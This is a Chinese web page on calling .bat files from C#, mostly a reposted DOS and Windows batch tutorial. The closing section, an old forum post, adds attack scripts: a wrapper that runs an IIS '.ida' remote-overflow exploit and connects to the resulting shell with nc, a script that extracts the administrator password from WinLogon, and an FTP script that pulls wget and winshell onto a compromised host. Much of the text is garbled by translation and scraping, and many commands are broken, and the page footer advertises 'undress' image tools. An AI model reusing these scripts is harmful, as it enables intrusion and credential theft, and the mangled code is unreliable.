首頁 後端開發 C#.Net教程 c# 呼叫.bat檔的實作程式碼

c# 呼叫.bat檔的實作程式碼

Dec 22, 2016 pm 01:53 PM

c# 呼叫.bat檔 
使用命名空間:using System.Diagnostics; 
System.Diagnostics.Process.Start(Server.MapPath("ah.bat")); 
============== ================================================== ======= 
副檔名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批次檔 
首先,批次檔是一個文字文件,這個檔案的每一行都是一條DOS指令(大部分時候就好像我們在DOS提示字元下執行的命令列一樣),你可以使用DOS下的Edit或Windows的記事本(notepad)等任何文字檔編輯工具來建立和修改批次文件。
其次,批次檔是一種簡單的程序,可以透過條件語句(if)和流程控制語句(goto)來控制指令運行的流程,在批次中也可以使用迴圈語句(for)來循環執行一條命令。當然,批次檔的程式設計能力與C語言等程式語句比起來是十分有限的,也是十分不規範的。批次的程式語句就是一條條的DOS指令(包括內部指令和外部指令),而批次的能力主要取決於你所使用的指令。 
第三,每個寫好的批次檔都相當於一個DOS的外部指令,你可以把它所在的目錄放到你的DOS搜尋路徑(path)中來使得它可以在任意位置運作。一個好的習慣是在硬碟上建立一個bat或batch目錄(例如C:BATCH),然後將所有你寫的批次檔放到該目錄中,這樣只要在path中設定上c:batch,你就可以在任意位置運行所有你寫的批次程式。
第四,在DOS和Win9x/Me系統下,C:盤根目錄下的AUTOEXEC.BAT批次檔是自動執行批次文件,每次系統啟動時會自動執行該文件,你可以將系統每次啟動時都要執行的命令放入該檔案中,例如設定搜尋路徑,調入滑鼠驅動和磁碟緩存,設定係統環境變數等。以下是一個運行於Windows 98下的autoexec.bat的範例: 
@ECHO OFF 
PATH C:WINDOWS;C:WINDOWSCOMMAND;C:UCDOS;C:DOSTools;C:SYSTOOLS;C:WINTOOLS;C:UCDOS;C:DOSTools;C:SYSTOOLS;C:WINTOOLS;C:2DOS SMARTDRV.EXE /X 
LH DOSKEY.COM /INSERT 
LH CTMOUSE.EXE 
SET TEMP=D:TEMP 
SET TMP=D:TEMP 
批處理的作用多條命令。
這裡先講一個最簡單的應用:在啟動wps軟體時,每次都必須執行(>前面內容表示DOS提示符): 
C:>cd wps 
C:WPS>spdos 
C:WPS>py 
C:WPS>spdos 
C:WPS>py 
C:WPS>wbx 
C:WPS>wps 
如果每次用WPS之前都這樣執行一遍,您是不是覺得很麻煩呢?
好了,用批次處理,就可以實現將這些麻煩的操作簡單化,首先我們編寫一個runwps.bat批次文件,內容如下: 
@echo off 
c: 
cdwps 
spdos 
py 
c
cd 
以後,我們每次進入wps,只需要運行runwps這個批次檔。 
常用指令 
echo、@、call、pause、rem(小技巧:用::取代rem)是批次檔最常用的幾個指令,我們就從他們開始學起。
echo 表示顯示此命令後的字元 
echo off 表示在此語句後所有運行的命令都不顯示命令列本身 
@與echo off相像,但它是加在每個命令行的最前面,表示運行時不顯示這一行的命令行(只能影響目前行)。 
call 呼叫另一個批次檔(如果不用call而直接呼叫別的批次文件,那麼執行完那個批次檔後將無法返回目前檔案並執行目前檔案的後續命令)。
pause 執行此句會暫停批次的執行並在螢幕上顯示Press any key to continue...的提示,等待使用者按任意鍵後繼續 
rem 表示此指令後的字元為解釋行(註解),不執行,只是給自己今後參考用的(相當於程式中的註解)。
例1:用edit編輯a.bat文件,輸入下列內容後存檔為c:a.bat,執行該批次文件後可實現:將根目錄中所有文件寫入a.txt中,啟動UCDOS,進入WPS等功能。
  批次文件的內容為:         命令註釋: 
    @echo off       @echo off        、  dir c:*.* >a.txt       將c盤檔案清單寫入a.txt 
    call c:ucdosucdostxt 
    call c:ucdosucdos .bat    調用ucdos 
    echo 你好顯示"你好" 
    pause         pause         pause    rem 準備運行wps         註:準備運行wps 
cd ucdos            進入ucdos目錄 
    wps         wps        wp]參數 
批次檔也可以像C語言的函數一樣使用參數(相當於DOS指令的命令列參數),這需要用到一個參數表示符「% 」。 
%[1-9]表示參數,參數是指在執行批次檔時在檔案名稱後加的以空格(或Tab)分隔的字串。變數可以從%0到%9,%0表示批次指令本身,其它參數字串用%1到%9順序表示。
例2:C:根目錄下有一批處理文件名為f.bat,內容為: 
@echo off 
format %1 
如果執行C:>f a: 
那麼在執行f.bat時,%1就表示a:,這樣format %1就相當於format a:,於是上面的命令運行時實際執行的是format a: 
例3:C:根目錄下一批處理文件名為t.bat,內容為:
@echo off 
type %1 
type %2 
那麼運行C:>t a.txt b.txt 
%1 : 表示a.txt 
%2 : 表示b.txt 
於是上面的指令將順序顯示a.txt和b.txt檔案的內容。 
特殊指令 
if goto choice for是批次檔中比較進階的指令,如果這幾個你都很熟練,你就是批次檔的專家啦。 
一、if 是條件語句,用來判斷是否符合規定的條件,從而決定執行不同的指令。 有三種格式: 
1、if [not] "參數" == "字串" 待執行的指令 
參數如果等於(not表示不等,下同)指定的字串,則條件成立,執行指令,否則運行下一句。
例:if "%1"=="a" format a: 
2、if [not] exist [路徑]文件名待執行的命令 
如果有指定的文件,則條件成立,運行命令,否則運行下一句。 
如: if exist c:config.sys type c:config.sys 
表示如果存在c:config.sys文件,則顯示它的內容。
3、if errorlevel 待執行的命令 
很多DOS程式在運行結束後會回傳一個數字值用來表示程式運行的結果(或狀態),透過if errorlevel指令可以判斷程式的回傳值,根據不同的返回值來決定執行不同的命令(返回值必須按照從大到小的順序排列)。如果傳回值等於指定的數字,則條件成立,執行指令,否則執行下一句。
如if errorlevel 2 goto x2 
二、goto 批次檔運行到這裡將跳到goto所指定的標號(標號即label,標號用:後跟標準字串來定義)處,goto語句一般與if配合使用,根據不同的條件來執行不同的命令組。 
如: 
goto end 
:end 
echo this is the end 
標號以「:字串」定義,標號所在行不被執行。 
三、choice 使用此指令可以讓使用者輸入一個字元(用於選擇),從而根據使用者的選擇返回不同的errorlevel,然後於if errorlevel配合,根據使用者的選擇運行不同的命令。 
注意:choice指令為DOS或Windows系統提供的外部指令,不同版本的choice指令語法會稍有不同,請用choice /?檢視用法。
choice的指令語法(此語法為Windows 2003中choice指令的語法,其它版本的choice的指令語法與此大同小異): 
CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text] 
描述: 
該工具允許使用者從選擇清單選擇一個項目並傳回所選項目的索引。 
參數清單: 
/C choices 指定要建立的選項清單。預設清單是 "YN"。 
/N 在提示符號中隱藏選項清單。提示前面的訊息得到顯示, 
選項依舊處於啟用狀態。 
/CS 允許選擇分成大小寫的選項。在預設情況下,這個工具 
是不分大小寫的。 
/T timeout 在做出預設選擇之前,暫停的秒數。可接受的值是從 0 
到 9999。如果指定了 0,就不會有暫停,預設選項 
會被選擇。 
/D choice 在 nnnn 秒之後指定預設選項。字元必須在用 /C 選 
項指定的一組選擇中; 同時,必須用 /T 指定 nnnn。 
/M text 指定提示先前要顯示的訊息。如果沒有指定,工具只 
顯示提示。 
/? 顯示幫助訊息。 
注意: 
ERRORLEVEL 環境變數被設定為從選擇集選擇的鍵索引。列出的第一個選 
擇返回 1,第二個選擇返回 2,等等。如果使用者按的鍵不是有效的選擇, 
該工具會發出警告響聲。如果工具偵測到錯誤狀態,它會傳回 255 的 
ERRORLEVEL 值。如果使用者按 Ctrl+Break 或 Ctrl+C 鍵,工具會回傳 0 
的 ERRORLEVEL 值。在一個批程序中使用 ERRORLEVEL 參數時,將參數降 
序排列。
範例: 
CHOICE /? 
CHOICE /C YNC /M "確認請按Y,否請按N,或取消請按C。" 
CHOICE /T 10 /C ync /CS /D y 
CHOICE /T 10 /C ync /CS /D y 
CHOICE /T 10 /C ync /CS /D y 
/M "選項1 請選擇a,選項2 請選擇b。" 
CHOICE /C ab /N /M "選項1 請選擇a,選項2 請選擇b。" 
如果我運行命令:CHOICE /C YNC / M "確認請按Y,否請按N,或取消請按C。" 
畫面上會顯示: 
確認請按Y,否請按N,或取消請按C。 [Y,N,C]? 
例:test.bat的內容如下(注意,用if errorlevel判斷回傳值時,要依回傳值由高到低排列): 
@echo off 
choice /C dme /M "defrag,mem,end" 
if errorlevel 3 goto end 
if errorlevel 2 goto mem 
if errotlevel 1 goto defrag 
:defrag 
c:defdefendolamogo 
:end 
echo good bye
此批次運行後,將顯示「defrag,mem,end[D,M,E]?」 ,使用者可選擇d m e ,然後if語句根據使用者的選擇作出判斷,d表示執行標號為defrag的程式段, m表示執行標號為mem的程式段,e表示執行標號為end的程式段,每個程式段最後都以goto end將程式跳到end標號處,然後程式會顯示good bye,批次執行結束。 
四、for 迴圈指令,只要條件符合,它將多次執行相同指令。 
語法: 
對一組檔案中的每一個檔案執行某個特定指令。 
FOR %%variable IN (set) DO command [command-parameters] 
%%variable 指定單一字母可替換的參數。 
(set) 指定一個或一組檔案。可以使用通配符。 
command 指定對每個檔案執行的命令。 
command-parameters 
為特定指令指定參數或命令列開關。
例如一個批次檔中有一行: 
for %%c in (*.bat *.txt) do type %%c 
則該指令列會顯示目前目錄下所有以bat和txt為副檔名的檔案的內容。
批次範例 
1. IF-EXIST 
1) 
首先用記事本在C:建立一個test1.bat批次文件,文件內容如下: 
@echo off 
IF EXIST AUTOEXEC.BATTYPE NOT EXIST AUTOEXEC.BAT ECHO AUTOEXEC.BAT does not exist 
然後運行它: 
C:>TEST1.BAT 
如果C:存在AUTOEXEC.BAT文件,那麼它的內容就會被顯示出來,如果不存在,處理就會提示你該檔案不存在。
2) 
接著再建立一個test2.bat文件,內容如下: 
@ECHO OFF 
IF EXIST %1 TYPE %1 
IF NOT EXIST %1 ECHO %1 does not not 電話
IF NOT EXIST %1 ECHO %1 does not not 電話BAT 
該指令運作結果同上。
說明: 
(1) IF EXIST 是用來測試檔案是否存在的,格式為 
IF EXIST [路徑+檔案名稱] 指令 
(2) test2.bat檔案中的%1是參數,DOS允許傳遞9個批次參數資訊給批次文件,分別為%1~%9(%0表示test2指令本身) ,這有點象編程中的實參和形參的關係,%1是形參,AUTOEXEC.BAT是實參。
3) 更進一步的,建立一個名為TEST3.BAT的文件,內容如下: 
@echo off 
IF "%1" == "A" ECHO XIAO 
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN 
如果運行: 
C:>TEST3 A B C 
螢幕上會顯示: 
XIAO 
TIAN 
XIN 

XIAO 
TIAN 
在這個指令執行過程中,DOS會將一個空字串指定給參數%3。
2、IF-ERRORLEVEL 
建立TEST4.BAT,內容如下: 
@ECHO OFF 
XCOPY C:AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件@@3@B ER.BAT D:IF ERRORLEVEL 1 複製:>TEST4 
如果文件拷貝成功,螢幕就會顯示“成功拷貝文件”,否則就會顯示“文件拷貝失敗”。 
IF ERRORLEVEL 是用來測試它的上一個DOS指令的回傳值的,注意只是上一個指令的回傳值,而且回傳值必須依照從大到小次序順序判斷。
因此下面的批次文件是錯誤的: 
@ECHO OFF 
XCOPY C:AUTOEXEC.BAT D: 
IF ERRORLEVEL 0 ECHO 成功拷貝文件 
IF ERROELIFEL 1 ECHO 未找到複製文件 CHO c中止拷貝作業 
IF ERRORLEVEL 3 ECHO 預設錯誤阻止文件拷貝作業 
IF ERRORLEVEL 4 ECHO 拷貝過程中寫盤錯誤 
無論拷貝是否成功,後面的: 
未找到拷貝文件 
用戶透過ctrl-c中止拷貝作業 
預設錯誤阻止文件複製作業將顯示出來。
以下是幾個常用指令的回值及其代表的意義: 
backup 
0 備份成功 
1 未找到備份檔案 
2 檔案共享衝突阻止備份完成 
3 使用者用ctrl-c中止備份





4 錯誤讓備份作業中止 
diskcomp 
0 盤比較相同 
1 盤比較不同 
2 使用者透過ctrl-c中止比較作業 
3 由於致命的錯誤使比較作業中止 
4 預置錯誤中止比較課作業成功 
1 非致命盤讀/寫錯 
2 使用者透過ctrl-c結束拷貝作業 
3 因致命的處理錯誤使碟拷貝中止 
4 預設錯誤阻止拷貝作業 
format
0透過ctrl-c中止格式化處理 
4 因致命的處理錯誤使格式化中止 
5 在提示「proceed with format(y/n)?」下使用者鍵入n結束 
xcopy 
0 成功拷貝檔案 
1 未找到拷貝文件 
2 使用者透過ctrl-c中止拷貝作業 
4 預設錯誤阻止文件拷貝作業 
5 拷貝過程中寫碟錯誤 
3、IF STRING1 == STRING2 
建立TEST5.3、IF STRING1 == STRING2 
建立TEST5.BAT,文件內容off 
IF "%1" == "A" formAT A: 
執行: 
C:>TEST5 A 
螢幕上就出現是否將A:磁碟格式化的內容。 
注意:為了防止參數為空的情況,一般會將字串用雙引號(或者其它符號,注意不能使用保留符號)括起來。
如:if [%1]==[A] 或if %1*==A* 
5、GOTO 
建立TEST6.BAT,檔案內容如下: 
@ECHO OFF 
IF EXIST C:AUTOEXEC.BAT GOTO _COPY
GOTO _DONE 
:_COPY 
COPY C:AUTOEXEC.BAT D: 
:_DONE 
注意: 
(1) 標號前是ASCII字元的冒號":",假號與標號之間不能有空格。 
(2) 標號的命名規則與檔案名稱的命名規則相同。 
(3) DOS支援最長八位元字元的標號,當無法區分兩個標號時,將跳到最近的一個標號。
6、FOR 
建立C:TEST7.BAT,檔案內容如下: 
@ECHO OFF 
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C 
運作: >
執行以後,螢幕上會顯示C:盤根目錄下所有以BAT、TXT、SYS為副檔名的檔案內容(不包含隱藏檔案)。
____________________________________________________________________________________________________ 
[打包下載]   [引用該文]   [發表評論]   [轉寄該文[7 。此評論相關文章評論如下:點這兒論壇方式查看) 
-------------------------------------------------- ------------------------------ 
bluekylin 發佈於: 2004/11/24 10:25pm 
win2000命令列方式批次BAT文件技巧 
  
—————————————————————————————————————————— 
文章結構 
1. 所有內建指令的幫助資訊 
2. 環境變數的概念 
3. 所有內建指令的幫助資訊 
2. 環境變數的概念 
3. 內建的特殊符號(實際使用中間注意力避開) 
4. 簡單批次檔概念 
5. 附件1 tmp.txt 
6. 附件2 sample.bat 
############################################################################################################## ############################ 
1. 所有內建指令的幫助資訊 
############# ########################################################### ######## 
ver 
cmd /? 
set /? 
rem /? 
if /? 
echo /? 
goto /? 🠎?常用指令 
type /? 
find /? 
findstr /? 
copy /? 
________________________________________________________________________________ 
下面將所有上面的幫助輸出到一個檔案 
e ________________________________ 
下面將所有上面的幫助輸出到一個檔案 
e ________________________________ >>tmp.txt 
cmd /? >>tmp.txt 
echo rem /? >>tmp.txt 
rem /? >>tmp.txt 
echo if /? >>tmp.txt 
iftxt/? .txt 
echo goto /? >>tmp.txt 
goto /? >>tmp.txt 
echo for /? >>tmp.txt 
for /? >>tmp.txt 
迴聲偏移/? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
回顯類型/? >>tmp.txt
輸入/? >> tmp.txt
echo 找/? >>tmp.txt
找到/? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo 複製/? >>tmp. txt
複製/? >>tmp.txt 
輸入tmp.txt 
______________________________________________________ 
########################################################################################################################################################################################################################################## #### ###################################
2. 環境變數的概念 
#### ############################################ ####### ###################
____________________________________________________________________________________________
C:Program Files>設定
ALLUSERSPROFILE=C:Documents and SettingsAll Users
CommonProgramFiles=C:Program FilesCommon檔案。 ComSpec=C:WINNTsystem32cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:WINNTsystem32os2dll; 
路徑= C:WINNTsystem32;C:WINNTY ;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 系列6 型號6 =5,GenuineIntel 
PROCESSOR_ C:Program Files
PROMPT=$P$G 
SystemDrive=C: 
SystemRoot=C:WINNT 
TEMP =C: WINNTTEMP 
TMP=C:WINNTTEMP 
USERPROFILELED:Dominments and ________________________________ 
path:表示程式的搜尋路徑。 我的建議是你把你的程式複製到
%windir%system32。 這個目錄裡面。 一般就可以自動搜尋到。 
語法:複製 mychenxu.exe %windir%system32。 
使用點(.)一目了然
對環境變數的引用使用(中文模式,半角)雙引號
%windir%變數
%%windir%%第二個變數引用。 
我們常用的還有
%temp% 暫存檔案目錄
%windir% 系統目錄
%errorlevel% 退出程式碼
輸出檔到暫存檔案目錄裡面。這樣的話當前目錄就整齊了。 
對有空格的參數。 你學會使用雙引號("") 來表示例如對porgram 文件夾應該操作
C:>dir p* 
C: 的目錄 
2000-09-02 11:47 2,164 PDOS.DEF
1999-01- 003 00:47 Program Files 
1 個檔案2,164 位元組 
1 個目錄1,505,997,824 可用位元組 
C:>cd pro* C:Program Files>; 
C:>cd pro* C:Program Files>;
C:Program Files> 
##################################################################################### ####### #####################
3. 內建的特殊符號(實際使用中間注意事項)
######## ############################## #################### #############
微軟內建了以下字元無法在建立的檔案名稱中間使用
沒有aux / | || && ^> 您可以使用大多數字元作為變數值,包括空格。如果使用特殊字元 、|、& 或 ^,則必須在它們前面加上轉義字元 (^) 或引號。如果使用引號,它們將作為值的一部分包含在內,因為等號後面的所有內容都將被視為值。考慮以下範例:
(大意:或你使用^ 作為前導字元表示。或只使用雙引號""了)
要建立變數值new&name,請鍵入:
set varname=new^&name 
要建立變數
要建立變數value " new&name", type: 
set varname="new&name" 
與號(&)、豎線(|) 和括號( ) 是特殊字符,傳遞時必須在其前面添加轉義字符(^) 或引號將它們作為參數。 
找到《環太平洋》 nwtrade.txt
如果有檔案名稱。 (del 檔名。)ELSE 回顯檔名。失蹤
> 建立一個檔案
>> 追加到一個檔案後面
@匯出字元。表示執行時本行在cmd裡面不顯示,可以使用echo off關閉顯示
^對特殊符號(>echo 123456 ^> aaa
迴聲 1231231 > bbb 
() 包含指令
(echo aa & echo bb) 
() 包含指令
(echo aa & echo bb) 
, 和空格一樣的缺省分隔符號. 
; 註釋,表示後面為註釋 
: 標號作用 
| 管道操作 
& Usage:第一條指令& 第二條指令[& 第三條指令...] 
& Usage:第一條指令& 第二條指令[& 第三條指令...] 
用這個方法可以同時執行多個指令,而不管指令是否執行成功 
dir c:*.exe & dir d:*.exe & dir e:*.exe 
&& Usage:第一個指令&& 第二條指令[&& 第三條指令...] 
當碰到執行出錯的指令後將不執行後面的指令,如果一直沒有出錯則一直執行完所有指令; 
|| Usage:第一條指令|| 第二條指令[|| 第三條指令...] 
當碰到執行正確的指令後將不執行後面的指令,如果沒有出現正確的指令則一直執行完所有指令; 
常用語法格式 
IF [ NOT] ERRORLEVEL number command para1 para2 
IF [NOT] string1==string2 command para1 para2 
IF [NOT] EXIST filename command para1 para2 
IF EXIST filename com 17
IF "%1" =="" goto END 
IF "%1"=="net" goto NET 
IF NOT "%2"=="net" goto OTHER 
IF ERRORLEVEL 1 command para1 para2 
IF NOT ERRORLEVEL 1 command /L %%i IN (start,step,end) DO command [command-parameters] %%i 
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k 
依照字母順序ijklmnopq依序取參數. 
eol=c - 指一個行註解字元的結尾(就一個) 
skip=n - 指在檔案開始時忽略的行數。 
delims=xxx - 指分隔符號集。這個替換了空格和跳格鍵的預設分隔符號集。
################################################################################################################# ##################### 
4. 簡單批次檔概念 
############################# ###########################################################
echo This is test > a.txt 
type a.txt 
echo This is test 11111 >> a.txt 
type a.txt 
echo This is test 22222 > a.txt 
echo This is test 22222 > a.txt 是追加 
第三個echo將清除a.txt 重新創建a.txt 
netstat -n | find "3389" 
這個將要列出所有連接3389的用戶的ip. 
________________test.bat___________________________________________________ 
@echoplease
plese care 1111 
echo plese care 2222 
echo plese care 3333 
@echo please care 
@echo plese care 1111 🎎 rem 不顯示註解語句,本行顯示 
@rem 不顯示註解語句,本行不顯示 
@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe) 
@if exist %windir%system32fina.exe ( echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe) 
___________________________________________________________________________ 
下面我們以具體的一個idahack程序就是ida遠程溢位為例子.應該是很簡單的. 
___________________ida.bathack_________________________________ rem ver 1.0 
@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe" 
@if NOT exist %windir%system32nc.exe echo "ERROROR: dont findROR 1" =="" goto USAGE 
@if NOT "%2" =="" goto SP2 
:start 
@echo Now start ... 
@ping %1 
@echo chinese win2k:1 sp1:2 sp2:1 sp1:2 sp2: 3 
idahack.exe %1 80 1 99 >%temp%_tmp 
@echo "prog exit code [%errorlevel%] idahack.exe" 
@type %temp%_tmp 
@find "good luck
@type %temp%_tmp 
@find "good luck" % % _tmp 
@echo "prog exit code [%errorlevel%] find [goog luck]" 
@if NOT errorlevel 1 nc.exe %1 99 
@goto END 
:SP2 temp%_tmp 
@type %temp%_tmp 
@find "good luck :)" %temp%_tmp 
@if NOT errorlevel 1 nc.exe %1 99 
@goto END 🠎:US IP 
@echo Example: ida.bat IP (2,3) 
:END 
_____________________ida.bat__END_________________________________ 
下面我們再來第二個文件.就是得到administrator的口令. 
大多數人說。沒有輸入正確的資訊. 
___________________________fpass.bat____________________________________________ 
@rem ver 1.0 
@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe" 
.exe echo "ERROR: dont find findpass.exe" 
.exe" 
@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe" 
@echo start.... 
@echo ____________________________________ 
@if "%1"=="" gotoGE USAed %1 %2 %3 >> %temp%_findpass.txt 
@echo "prog exit code [%errorlevel%] findpass.exe" 
@type %temp%_findpass.txt ★★@echo ________________________________Here__pass★★★★★ ★ 
@ipconfig /all >>%temp%_findpass.txt 
@goto END 
:USAGE 
@pulist.exe >%temp%_pass.txt 
@findstr.exe /i "WINLOGON explorer txt 
@echo "Example: fpass.bat %1 %2 %3 %4 !!!" 
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon" 
:END 
@bat,a fpass. COMPUTERNAME% %USERNAME% administrator " 
@echo " fpass.bat end [%errorlevel%] !" 
_________________fpass.bat___END___________________________________________ 
還有一個就是已經通過什麼依次登陸了一個遠端主機.輸入下面的東西. 當然了也可以全部拷貝.Ctrl+V過去. 然後就等待吧!! 

echo open 210.64.x.4 3396>w 
echo read>>w 
echo read>>w 
echo cd winnt>>w 
echo binary>>w 
echo pwd >>w 
echo get wget.exe >>w 
echo get winshell.exe >>w 
echo get any.exe >>w 
echo quit >>w 
ftp -s:w
登入後複製

 以上就是c# 調用.bat文件的實現代碼的內容,更多相關內容請關注PHP中文網(www .php.cn)!


本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
2 週前 By 尊渡假赌尊渡假赌尊渡假赌
倉庫:如何復興隊友
4 週前 By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island冒險:如何獲得巨型種子
3 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

使用 C# 的活動目錄 使用 C# 的活動目錄 Sep 03, 2024 pm 03:33 PM

使用 C# 的活動目錄

C# 中的存取修飾符 C# 中的存取修飾符 Sep 03, 2024 pm 03:24 PM

C# 中的存取修飾符

C# 中的隨機數產生器 C# 中的隨機數產生器 Sep 03, 2024 pm 03:34 PM

C# 中的隨機數產生器

C# 資料網格視圖 C# 資料網格視圖 Sep 03, 2024 pm 03:32 PM

C# 資料網格視圖

C# 字串讀取器 C# 字串讀取器 Sep 03, 2024 pm 03:23 PM

C# 字串讀取器

C# 中的模式 C# 中的模式 Sep 03, 2024 pm 03:33 PM

C# 中的模式

C# 字串編寫器 C# 字串編寫器 Sep 03, 2024 pm 03:23 PM

C# 字串編寫器

C# 中的二進位編寫器 C# 中的二進位編寫器 Sep 03, 2024 pm 03:22 PM

C# 中的二進位編寫器

See all articles